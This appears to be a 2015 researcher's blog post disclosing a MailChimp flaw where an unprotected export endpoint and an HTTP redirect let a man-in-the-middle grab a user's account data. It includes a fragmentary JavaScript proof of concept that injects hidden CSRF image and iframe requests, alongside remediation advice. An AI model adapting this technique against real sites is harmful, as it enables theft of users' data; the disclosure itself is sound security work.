MailChimp Information Disclosure

Jun 27, 2015

Earlier this year I was working on a MailChimp integration for my “Real Job” and spent the evening poking around their application. I found a few small things that, when combined, allow a man-in-the-middle to view a user’s entire MailChimp account data (including a lists of their subscribers and campaigns).

Cross Site Request Forgery

I first noticed that the account data export endpoint had no CSRF protections. The following HTML, served from any website, would trigger an export for users who are logged into MailChimp.

<img src='' />


Endpoints that change state should use CSRF protections to validate that requests were the result of an authentic, user-initiated, action.

Insecure Connection

Once an account export job has completed, an email is sent to the user that contains a link to a ZIP file with their data. The link…

does a 302 redirect to…<file>.zip?AWSAccessKeyId=<key>...

The file is actually served of HTTP even though the MailChimp link was HTTPS. This allows a MITM to view all data from the account export.


The export-fetch URL should redirect to the HTTPS variant for Amazon S3 URLs:

Putting it together

I noticed that the link to download the export ( never changed and had no CSRF protections. A MITM that injects javascript into any HTTP page was able to trigger an account export and an automatic download of the ZIP over HTTP.

<h1>Mailchimp CSRF</h1>
<p><button onclick='start()'>Start Exploit</button></p>

<script type="text/javascript">
  var step_one = function(){
    console.log('Injecting a CSRF image to request an export');

    var elem = document.createElement("img");
    elem.src = '';
    elem.width = '1';

  var step_two = function(){
    console.log('Injecting a CSRF to initiate a download');

    var elem = document.createElement("iframe");
    elem.src = '';
    elem.width = '1px'; = 0.01;

    console.log('Notice that the zip was downloaded over HTTP without user interaction');

  var step_reload = function(){
    console.log('Reload the page, skipping the initial export request');
    window.location.hash = 'skip_step_one';

  var start = function(){
    if (window.location.hash != '#skip_step_one') {
    console.log('Wait and poll until things downloaded');
    setInterval(step_reload, 30000);

  if (window.location.hash == '#skip_step_one') {
    console.log('Autostart on refresh');


  • CSRF protections are necessary on all endpoints that change state. This is actually a fairly easy mistake to make even with modern web frameworks with built-in CSRF protections.
  • HTTPS All the things!
  • I got a sweet laptop sticker!